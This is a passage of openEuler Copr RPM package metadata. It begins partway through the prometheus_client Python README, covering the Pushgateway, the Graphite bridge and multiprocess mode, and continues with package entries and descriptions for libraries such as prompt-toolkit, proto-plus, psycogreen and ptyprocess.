  g = Gauge('raid_status', '1 if raid array is okay', registry=registry)
  g.set(1)
  write_to_textfile('/configured/textfile/path/raid.prom', registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.



  The [Pushgateway](https://github.com/prometheus/pushgateway)
  allows ephemeral and batch jobs to expose their metrics to Prometheus.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.

  Pushgateway functions take a grouping key. `push_to_gateway` replaces metrics
  with the same grouping key, `pushadd_to_gateway` only replaces metrics with the
  same name and grouping key and `delete_from_gateway` deletes metrics with the
  given job and grouping key. See the
  [Pushgateway documentation](https://github.com/prometheus/pushgateway/blob/master/README.md)
  for more information.

  `instance_ip_grouping_key` returns a grouping key with the instance label set
  to the host's IP address.



  If the push gateway you are connecting to is protected with HTTP Basic Auth,
  you can use a special handler to set the Authorization header.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import basic_auth_handler

  def my_auth_handler(url, method, timeout, headers, data):
      username = 'foobar'
      password = 'secret123'
      return basic_auth_handler(url, method, timeout, headers, data, username, password)
  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```

  TLS Auth is also supported when using the push gateway with a special handler.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway
  from prometheus_client.exposition import tls_auth_handler


  def my_auth_handler(url, method, timeout, headers, data):
      certfile = 'client-crt.pem'
      keyfile = 'client-key.pem'
      return tls_auth_handler(url, method, timeout, headers, data, certfile, keyfile)

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
  push_to_gateway('localhost:9091', job='batchA', registry=registry, handler=my_auth_handler)
  ```



  It is also possible to expose metrics to systems other than Prometheus.
  This allows you to take advantage of Prometheus instrumentation even
  if you are not quite ready to fully transition to Prometheus yet.



  Metrics are pushed over TCP in the Graphite plaintext format.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003))

  gb.push()

  gb.start(10.0)
  ```

  Graphite [tags](https://grafana.com/blog/2018/01/11/graphite-1.1-teaching-an-old-dog-new-tricks/) are also supported.

  ```python
  from prometheus_client.bridge.graphite import GraphiteBridge

  gb = GraphiteBridge(('graphite.your.org', 2003), tags=True)
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  gb.push()
  ```



  Sometimes it is not possible to directly instrument code, as it is not
  in your control. This requires you to proxy metrics from other systems.

  To do so you need to create a custom collector, for example:

  ```python
  from prometheus_client.core import GaugeMetricFamily, CounterMetricFamily, REGISTRY

  class CustomCollector(object):
      def collect(self):
          yield GaugeMetricFamily('my_gauge', 'Help text', value=7)
          c = CounterMetricFamily('my_counter_total', 'Help text', labels=['foo'])
          c.add_metric(['bar'], 1.7)
          c.add_metric(['baz'], 3.8)
          yield c

  REGISTRY.register(CustomCollector())
  ```

  `SummaryMetricFamily`, `HistogramMetricFamily` and `InfoMetricFamily` work similarly.

  A collector may implement a `describe` method which returns metrics in the same
  format as `collect` (though you don't have to include the samples). This is
  used to predetermine the names of time series a `CollectorRegistry` exposes and
  thus to detect collisions and duplicate registrations.

  Usually custom collectors do not have to implement `describe`. If `describe` is
  not implemented and the CollectorRegistry was created with `auto_describe=True`
  (which is the case for the default registry) then `collect` will be called at
  registration time instead of `describe`. If this could cause problems, either
  implement a proper `describe`, or if that's not practical have `describe`
  return an empty list.




  Prometheus client libraries presume a threaded model, where metrics are shared
  across workers. This doesn't work so well for languages such as Python where
  it's common to have processes rather than threads to handle large workloads.

  To handle this the client library can be put in multiprocess mode.
  This comes with a number of limitations:

  - Registries can not be used as normal, all instantiated metrics are exported
    - Registering metrics to a registry later used by a `MultiProcessCollector`
      may cause duplicate metrics to be exported
  - Custom collectors do not work (e.g. cpu and memory metrics)
  - Info and Enum metrics do not work
  - The pushgateway cannot be used
  - Gauges cannot use the `pid` label
  - Exemplars are not supported

  There's several steps to getting this working:

  **1. Deployment**:

  The `PROMETHEUS_MULTIPROC_DIR` environment variable must be set to a directory
  that the client library can use for metrics. This directory must be wiped
  between process/Gunicorn runs (before startup is recommended).

  This environment variable should be set from a start-up shell script,
  and not directly from Python (otherwise it may not propagate to child processes).

  **2. Metrics collector**:

  The application must initialize a new `CollectorRegistry`, and store the
  multi-process collector inside. It is a best practice to create this registry
  inside the context of a request to avoid metrics registering themselves to a
  collector used by a `MultiProcessCollector`. If a registry with metrics
  registered is used by a `MultiProcessCollector` duplicate metrics may be
  exported, one for multiprocess, and one for the process serving the request.

  ```python
  from prometheus_client import multiprocess
  from prometheus_client import generate_latest, CollectorRegistry, CONTENT_TYPE_LATEST, Counter

  MY_COUNTER = Counter('my_counter', 'Description of my counter')


  def app(environ, start_response):
      registry = CollectorRegistry()
      multiprocess.MultiProcessCollector(registry)
      data = generate_latest(registry)
      status = '200 OK'
      response_headers = [
          ('Content-type', CONTENT_TYPE_LATEST),
          ('Content-Length', str(len(data)))
      ]
      start_response(status, response_headers)
      return iter([data])
  ```

  **3. Gunicorn configuration**:

  The `gunicorn` configuration file needs to include the following function:

  ```python
  from prometheus_client import multiprocess

  def child_exit(server, worker):
      multiprocess.mark_process_dead(worker.pid)
  ```

  **4. Metrics tuning (Gauge)**:

  When `Gauge`s are used in multiprocess applications,
  you must decide how to handle the metrics reported by each process.
  Gauges have several modes they can run in, which can be selected with the `multiprocess_mode` parameter.

  - 'all': Default. Return a timeseries per process (alive or dead), labelled by the process's `pid` (the label is added internally).
  - 'min': Return a single timeseries that is the minimum of the values of all processes (alive or dead).
  - 'max': Return a single timeseries that is the maximum of the values of all processes (alive or dead).
  - 'sum': Return a single timeseries that is the sum of the values of all processes (alive or dead).

  Prepend 'live' to the beginning of the mode to return the same result but only considering living processes
  (e.g., 'liveall, 'livesum', 'livemax', 'livemin').

  ```python
  from prometheus_client import Gauge


  IN_PROGRESS = Gauge("inprogress_requests", "help", multiprocess_mode='livesum')
  ```




  The Python client supports parsing the Prometheus text format.
  This is intended for advanced use cases where you have servers
  exposing Prometheus metrics and need to get them into some other
  system.

  ```python
  from prometheus_client.parser import text_string_to_metric_families
  for family in text_string_to_metric_families(u"my_gauge 1.0\n"):
    for sample in family.samples:
      print("Name: {0} Labels: {1} Value: {2}".format(*sample))
  ```



  * [Releases](https://github.com/prometheus/client_python/releases): The releases page shows the history of the project and acts as a changelog.
  * [PyPI](https://pypi.python.org/pypi/prometheus_client)


pkgId: fc1f7785f6ac8f74f39a59a542ae1f41ed9f8698372006111545146bdb3674a2
name: python-promise
arch: src
version: 2.3
epoch: 0
release: 1
summary: Promises/A+ implementation for Python
url: https://github.com/syrusakbary/promise
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-71f57b95-64e0-499b-a8f0-dbf34c3301e6
location_href: 00004607-python-promise/python-promise-2.3-1.src.rpm
checksum_type: sha256
description:
  This is a implementation of Promises in Python. It is a super set of
  Promises/A+ designed to have readable, performant code and to provide
  just the extensions that are absolutely necessary for using promises in
  Python.
  Its fully compatible with the `Promises/A+
  spec <http://promises-aplus.github.io/promises-spec/>`__
  |travis| |pypi| |coveralls|


pkgId: 8ac18446d1b8b44d16ceabe104b77371921dfe3b1909423e7aff744593275b57
name: python-prompt-toolkit
arch: src
version: 3.0.38
epoch: 0
release: 1
summary: Library for building powerful interactive command lines in Python
url: https://github.com/prompt-toolkit/python-prompt-toolkit
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-92baa4d9-665f-47a9-8184-e7cb4557eba5
location_href: 00004608-python-prompt-toolkit/python-prompt-toolkit-3.0.38-1.src.rpm
checksum_type: sha256
description:
  |Build Status|  |AppVeyor|  |PyPI|  |RTD|  |License|  |Codecov|
  ``prompt_toolkit`` *is a library for building powerful interactive command line applications in Python.*
  Read the `documentation on readthedocs
  <http://python-prompt-toolkit.readthedocs.io/en/stable/>`_.
  NOTICE: prompt_toolkit 3.0
  **************************
  Please notice that this branch is the ``prompt_toolkit`` **3.0** branch. For most
  users, it should be compatible with ``prompt_toolkit`` **2.0**, but it requires at
  least **Python 3.6**. On the plus side, ``prompt_toolkit`` **3.0** is completely type
  annotated and uses asyncio natively.
  Gallery
  *******
  `ptpython <http://github.com/prompt-toolkit/ptpython/>`_ is an interactive
  Python Shell, build on top of ``prompt_toolkit``.
  `More examples <https://python-prompt-toolkit.readthedocs.io/en/stable/pages/gallery.html>`_
  prompt_toolkit features
  ***********************
  ``prompt_toolkit`` could be a replacement for `GNU readline
  <https://tiswww.case.edu/php/chet/readline/rltop.html>`_, but it can be much
  more than that.
  Some features:
  - **Pure Python**.
  - Syntax highlighting of the input while typing. (For instance, with a Pygments lexer.)
  - Multi-line input editing.
  - Advanced code completion.
  - Both Emacs and Vi key bindings. (Similar to readline.)
  - Even some advanced Vi functionality, like named registers and digraphs.
  - Reverse and forward incremental search.
  - Works well with Unicode double width characters. (Chinese input.)
  - Selecting text for copy/paste. (Both Emacs and Vi style.)
  - Support for `bracketed paste <https://cirw.in/blog/bracketed-paste>`_.
  - Mouse support for cursor positioning and scrolling.
  - Auto suggestions. (Like `fish shell <http://fishshell.com/>`_.)
  - Multiple input buffers.
  - No global state.
  - Lightweight, the only dependencies are Pygments and wcwidth.
  - Runs on Linux, OS X, FreeBSD, OpenBSD and Windows systems.
  - And much more...
  Feel free to create tickets for bugs and feature requests, and create pull
  requests if you have nice patches that you would like to share with others.
  Installation
  ************
      pip install prompt_toolkit
  For Conda, do:
      conda install -c https://conda.anaconda.org/conda-forge prompt_toolkit
  About Windows support
  *********************
  ``prompt_toolkit`` is cross platform, and everything that you build on top
  should run fine on both Unix and Windows systems. Windows support is best on
  recent Windows 10 builds, for which the command line window supports vt100
  escape sequences. (If not supported, we fall back to using Win32 APIs for color
  and cursor movements).
  It's worth noting that the implementation is a "best effort of what is
  possible". Both Unix and Windows terminals have their limitations. But in
  general, the Unix experience will still be a little better.
  For Windows, it's recommended to use either `cmder
  <http://cmder.net/>`_ or `conemu <https://conemu.github.io/>`_.
  Getting started
  ***************
  The most simple example of the library would look like this:
      from prompt_toolkit import prompt
      if __name__ == '__main__':
          answer = prompt('Give me some input: ')
          print('You said: %s' % answer)
  For more complex examples, have a look in the ``examples`` directory. All
  examples are chosen to demonstrate only one thing. Also, don't be afraid to
  look at the source code. The implementation of the ``prompt`` function could be
  a good start.
  Philosophy
  **********
  The source code of ``prompt_toolkit`` should be **readable**, **concise** and
  **efficient**. We prefer short functions focusing each on one task and for which
  the input and output types are clearly specified. We mostly prefer composition
  over inheritance, because inheritance can result in too much functionality in
  the same object. We prefer immutable objects where possible (objects don't
  change after initialization). Reusability is important. We absolutely refrain
  from having a changing global state, it should be possible to have multiple
  independent instances of the same code in the same process. The architecture
  should be layered: the lower levels operate on primitive operations and data
  structures giving -- when correctly combined -- all the possible flexibility;
  while at the higher level, there should be a simpler API, ready-to-use and
  sufficient for most use cases. Thinking about algorithms and efficiency is
  important, but avoid premature optimization.
  `Projects using prompt_toolkit <PROJECTS.rst>`_
  ***********************************************
  Special thanks to
  *****************
  - `Pygments <http://pygments.org/>`_: Syntax highlighter.
  - `wcwidth <https://github.com/jquast/wcwidth>`_: Determine columns needed for a wide characters.


pkgId: 6ac78dda24815f75c18e4fcef726836bea3dbe406211b1c528ffc7caa3f669b3
name: python-property-manager
arch: src
version: 3.0
epoch: 0
release: 1
url: https://property-manager.readthedocs.io
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8b08b66d-431e-42fc-9dfe-e4f908ef0cae
location_href: 00010284-python-property-manager/python-property-manager-3.0-1.src.rpm
checksum_type: sha256
summary:
  Useful property variants for Python programming (required properties, writable properties, cached properties, etc)

description:
  The `property-manager` package defines several custom property_ variants for
  Python programming including required properties, writable properties, cached
  properties, etc. It's currently tested on Python 2.7, 3.5, 3.6, 3.7, 3.8 and
  PyPy. For usage instructions please refer to the documentation_.


pkgId: 8e069b9358f5d4c1c76b7e815da5da0e2981df38c90654ba065a1b0a9a4f1d6d
name: python-proto-google-cloud-datastore-v1
arch: src
version: 0.90.4
epoch: 0
release: 1
summary: GRPC library for the Google Cloud Datastore API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2aea8807-9253-4c98-9a37-499974c1aa45
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm


pkgId: 7bad4eed68af653a2fb7afbba343688d38643f941841aa09b6b95dfe8c7c44bd
name: python-proto-google-cloud-datastore-v1-help
arch: noarch
version: 0.90.4
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-datastore-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2aea8807-9253-4c98-9a37-499974c1aa45
rpm_sourcerpm: python-proto-google-cloud-datastore-v1-0.90.4-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Google Cloud Datastore API

  proto-google-cloud-datastore-v1 is the IDL-derived library for the datastore (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/datastore/v1

location_href:
  00010270-python-proto-google-cloud-datastore-v1/python-proto-google-cloud-datastore-v1-help-0.90.4-1.noarch.rpm


pkgId: e44a7182570b843581248cc7bbd84947c224ccd41c812b581342d055bebb8743
name: python-proto-google-cloud-error-reporting-v1beta1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Error Reporting API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0f39276c-8e2e-4088-b09d-e3ef6daeda32
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm


pkgId: 0b538e9e6900c69fbb8069951ca0f84a7a4ce355c70499381ea7d88d71590846
name: python-proto-google-cloud-error-reporting-v1beta1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-error-reporting-v1beta1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0f39276c-8e2e-4088-b09d-e3ef6daeda32
rpm_sourcerpm: python-proto-google-cloud-error-reporting-v1beta1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Error Reporting API

  proto-google-cloud-error-reporting-v1beta1 is the IDL-derived library for the error-reporting (v1beta1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/devtools/clouderrorreporting/v1beta1

location_href:
  00011948-python-proto-google-cloud-error-reporting-v1beta1/python-proto-google-cloud-error-reporting-v1beta1-help-0.15.3-1.noarch.rpm


pkgId: ba41809d0d5a32e7d7ac9c64c6e435498644a7020e0d7a8cdf959bd9aec3b8bd
name: python-proto-google-cloud-logging-v2
arch: src
version: 0.91.3
epoch: 0
release: 1
summary: GRPC library for the Stackdriver Logging API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d56b3393-d29a-4027-a2d9-719ab03dcde7
location_href: 00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2


pkgId: da4679d4d62e77dac0189ea7e63fcce37c55e75b7fcfb9e2651ccbf37f03b8a3
name: python-proto-google-cloud-logging-v2-help
arch: noarch
version: 0.91.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-logging-v2
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d56b3393-d29a-4027-a2d9-719ab03dcde7
rpm_sourcerpm: python-proto-google-cloud-logging-v2-0.91.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Stackdriver Logging API

  proto-google-cloud-logging-v2 is the IDL-derived library for the logging (v2) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/logging/v2

location_href:
  00011432-python-proto-google-cloud-logging-v2/python-proto-google-cloud-logging-v2-help-0.91.3-1.noarch.rpm


pkgId: 6e9f63a1cc3df65fc1ac85adde86a69e4821751f9b0d8f1c8dc1c4dcca6f8edd
name: python-proto-google-cloud-spanner-admin-instance-v1
arch: src
version: 0.15.3
epoch: 0
release: 1
summary: GRPC library for the Cloud Spanner Instance Admin API
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cbca33a1-6bd2-480e-883f-87f600bcffc7
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm


pkgId: d6d87d740702137a4f741e123b3597433b4fbeec88cb37f1146a20a565585b75
name: python-proto-google-cloud-spanner-admin-instance-v1-help
arch: noarch
version: 0.15.3
epoch: 0
release: 1
summary: Development documents and examples for proto-google-cloud-spanner-admin-instance-v1
url: https://github.com/googleapis/googleapis
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cbca33a1-6bd2-480e-883f-87f600bcffc7
rpm_sourcerpm: python-proto-google-cloud-spanner-admin-instance-v1-0.15.3-1.src.rpm
checksum_type: sha256
description:
  gRPC library for Cloud Spanner Instance Admin API

  proto-google-cloud-spanner-admin-instance-v1 is the IDL-derived library for the spanner-admin-instance (v1) service in the googleapis_ repository.

  .. _`googleapis`: https://github.com/googleapis/googleapis/tree/master/google/spanner/admin/instance/v1

location_href:
  00012999-python-proto-google-cloud-spanner-admin-instance-v1/python-proto-google-cloud-spanner-admin-instance-v1-help-0.15.3-1.noarch.rpm


pkgId: dd3a0e2b3fd0519b073caaff97f8a2fe9de47cee542060a1930f5a1c93e21756
name: python-proto-plus
arch: src
version: 1.22.2
epoch: 0
release: 1
summary: Beautiful, Pythonic protocol buffers.
url: https://github.com/googleapis/proto-plus-python.git
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6acd2ab2-7731-4c75-a79e-18aa45664cd9
location_href: 00008990-python-proto-plus/python-proto-plus-1.22.2-1.src.rpm
checksum_type: sha256
description:
  |pypi| |release level| |docs|
      Beautiful, Pythonic protocol buffers.
  This is a wrapper around `protocol buffers`_. Protocol buffers is a
  specification format for APIs, such as those inside Google.
  This library provides protocol buffer message classes and objects that
  largely behave like native Python types.


pkgId: 43e048b94f5fa947ccde66f295993c7d0816bcaa76bcf7c9828cd7bd4d75125d
name: python-protobuf3-to-dict
arch: src
version: 0.1.5
epoch: 0
release: 1
description: UNKNOWN
url: https://github.com/kaporzhu/protobuf-to-dict
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-15aa0de9-263d-4f43-9d2f-7f42ad1765da
location_href: 00009491-python-protobuf3-to-dict/python-protobuf3-to-dict-0.1.5-1.src.rpm
checksum_type: sha256
summary:
  Ben Hodgson: A teeny Python library for creating Python dicts from protocol buffers and the reverse. Useful as an intermediate step before serialisation (e.g. to JSON). Kapor: upgrade it to PB3 and PY3, rename it to protobuf3-to-dict


pkgId: 98cdbf871624b60c100b06430bc4568429d60064e509ffb2a4e873854dd68898
name: python-proxy_tools
arch: src
version: 0.1.0
epoch: 0
release: 1
summary: Proxy Implementation
url: http://github.com/jtushman/proxy_tools
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d5c21c7b-64bc-474e-bc4a-63c93452c0b5
location_href: 00012520-python-proxy-tools/python-proxy_tools-0.1.0-1.src.rpm
checksum_type: sha256
description:
  I'm just a proxy
  |Build Status|
  Loveingly extracted from `werkzeug`_.  A very useful proxy implementation, that I found to be useful outside
  the web context -- hence the extraction.


pkgId: 6e888a3a6971458ac79c504cbbb1168ac6b833a5f4eccdcd5072d413a21ca820
name: python-prsaw
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the Random Stuff API.
url: https://github.com/CodeWithSwastik/prsaw
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fc67446d-25ec-42ca-9c85-44cdf9abdb80
location_href: 00012141-python-prsaw/python-prsaw-0.4.0-1.src.rpm
checksum_type: sha256
description:
  [![Downloads](https://static.pepy.tech/personalized-badge/prsaw?period=total&units=international_system&left_color=green&right_color=orange&left_text=Downloads)](https://pepy.tech/project/prsaw)

  PRSAW, an acronym for `Python Random Stuff API Wrapper`, is a wrapper for the [Random Stuff API](https://api.pgamerx.com/).
  PyPI: https://pypi.org/project/prsaw/



  You can install released versions of prsaw from the Python Package Index with pip or a similar tool:

  **Stable Release:** `pip install prsaw`<br>
  **Working Version:** `pip install git+https://github.com/CodeWithSwastik/prsaw.git`


  ```python

  from prsaw import RandomStuff


  rs = RandomStuffV2()


  response = rs.get_ai_response("How are you?")
  print(response)


  rs.close()
  ```


  ```python

  from prsaw import RandomStuff


  api_key = "Your API Key"
  rs = RandomStuff(async_mode = True, api_key = api_key)


  joke = await rs.get_joke()
  print(joke)


  await rs.aclose()
  ```


  If you've purchased a premium plan you can pass that as a paramater to RandomStuffV3 or RandomStuffV4
  ```python
  plan = "Can be pro/biz/mega/ultra"
  rs = RandomStuffV4(api_key = api_key, plan=plan)
  ```



  You can specify the server in RandomStuffV4 if you want
  ```python
  server = "Can be primary/backup/unstable"
  rs = RandomStuffV4(api_key = api_key, server=server)
  ```

  You can also pass `dev_name`, `bot_name` and `ai_language` as paramaters to RandomStuffV3 or RandomStuffV4.



  The current list of asynchronous functions available are:

  ```python

  await get_joke(_type)  # Refer to https://api.pgamerx.com/endpoints
  await get_image(_type) # for all the endpoints
  await get_ai_response(msg)


  await aclose() # closes the object
   ```

   
   * Register API key - [Click Here](https://api.pgamerx.com/register)
   * Documentation/Endpoints - [Click Here](https://api.pgamerx.com/endpoints/)


pkgId: 6a824c402b026567e000ce12bf4e4436a1af10ae784f36bfe53b47e77bfc3f0c
name: python-psutil-debuginfo
arch: aarch64
version: 5.9.4
epoch: 0
release: 1
summary: Debug information for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-64b89d02-674c-4727-9c9a-1504fa9f7f46
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debuginfo-5.9.4-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-psutil.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: c2e5d1486dfe31fdf72f006b646de54e073fc7b5643d372104c6e202c50cb61c
name: python-psutil-debugsource
arch: aarch64
version: 5.9.4
epoch: 0
release: 1
summary: Debug sources for package python-psutil
url: https://github.com/giampaolo/psutil
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-64b89d02-674c-4727-9c9a-1504fa9f7f46
rpm_sourcerpm: python-psutil-5.9.4-1.src.rpm
location_href: 00008932-python-psutil/python-psutil-debugsource-5.9.4-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-psutil.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: ec3befcdff6bc63bf21fdc4da72a7ca824e316d27fd42d805890b7692ef760e1
name: python-psycogreen
arch: src
version: 1.0.2
epoch: 0
release: 1
summary: psycopg2 integration with coroutine libraries
url: https://github.com/psycopg/psycogreen/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1ddc710b-2731-4117-8ad2-fb676cea2533
location_href: 00004610-python-psycogreen/python-psycogreen-1.0.2-1.src.rpm
checksum_type: sha256
description:
  The `psycogreen`_ package enables psycopg2 to work with coroutine libraries,
  using asynchronous calls internally but offering a blocking interface so that
  regular code can run unmodified.
  `Psycopg`_ offers `coroutines support`__ since release 2.2. Because the main
  module is a C extension it cannot be monkey-patched to become
  coroutine-friendly. Instead it exposes `a hook`__ that coroutine libraries can
  use to install a function integrating with their event scheduler. Psycopg will
  call the function whenever it executes a libpq call that may block.
  `psycogreen` is a collection of "wait callbacks" useful to integrate Psycopg
  with different coroutine libraries.


pkgId: d8c89ed1aa3d34cc52d7df4e7796934275fdab55ad6b4a9644f7aec5551bd1d0
name: python-psycopg2-pool
arch: src
version: 1.1
epoch: 0
release: 1
summary: Proper pooling of psycopg2 connections
url: https://github.com/Changaco/psycopg2-pool
rpm_license: LGPL3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-defba19b-0b17-4747-ac29-4fdf515257ca
location_href: 00012595-python-psycopg2-pool/python-psycopg2-pool-1.1-1.src.rpm
checksum_type: sha256
description:
  See the documentation at <https://psycopg2-pool.readthedocs.io/>.





  - [Fixes the discarding of extraneous connections](https://github.com/Changaco/psycopg2-pool/pull/1)
  - [Fixes `ThreadSafeConnectionPool.__slots__`](https://github.com/Changaco/psycopg2-pool/commit/0145f44efc21a2e1ec078c6d29a4649f9978380f)



  Initial release.


pkgId: 14a4976af2be565a245a93e20ba8dc1a527247f5d3733901d48582a6f6b659c8
name: python-ptyprocess
arch: src
version: 0.7.0
epoch: 0
release: 1
summary: Run a subprocess in a pseudo terminal
url: https://github.com/pexpect/ptyprocess
rpm_license: ISC License (ISCL)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-66c16057-141c-4153-91db-879d5cfb52e5
location_href: 00008974-python-ptyprocess/python-ptyprocess-0.7.0-1.src.rpm
checksum_type: sha256
description:
  Launch a subprocess in a pseudo terminal (pty), and interact with both the
  process and its pty.

  Sometimes, piping stdin and stdout is not enough. There might be a password
  prompt that doesn't read from stdin, output that changes when it's going to a
  pipe rather than a terminal, or curses-style interfaces that rely on a terminal.
  If you need to automate these things, running the process in a pseudo terminal
  (pty) is the answer.

  Interface::

      p = PtyProcessUnicode.spawn(['python'])
      p.read(20)
      p.write('6+6\n')
      p.read(20)


pkgId: 7b6da35e40d41816d469114be10ec24eef59a6f08c4d72765c87137ef3eaa4c7
name: python-public
arch: src
version: 2020.12.3
epoch: 0
release: 1
summary: replace __all__ with @public.add decorator
url: https://github.com/andrewp-as-is/public.py
rpm_license: Unlicense
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bbd0d06f-1e0b-4582-8966-5c458e9817d7
location_href: 00013028-python-public/python-public-2020.12.3-1.src.rpm
checksum_type: sha256
description:
  <!--
  https://readme42.com
  -->


  [![](https://img.shields.io/pypi/v/public.svg?maxAge=3600)](https://pypi.org/project/public/)
  [![](https://img.shields.io/badge/License-Unlicense-blue.svg?longCache=True)](https://unlicense.org/)


  ```bash
  $ [sudo] pip install public
  ```


  +   replace [`__all__`](https://stackoverflow.com/questions/44834/can-someone-explain-all-in-python) with `@public.add` decorator


  before
  ```python
  __all__ = ["func"]

  def func():
  ```

  after
  ```python
  import public

  @public.add
  def func():
  ```


  ```python
  >>> import public
  >>> @public.add
      def func(): pass

  >>> @public.add
      class Cls: pass

  >>> __all__
  ['Cls','func']

  >>> public.add("name")
  >>> public.add(*["name1","name2"])

  >>> __all__
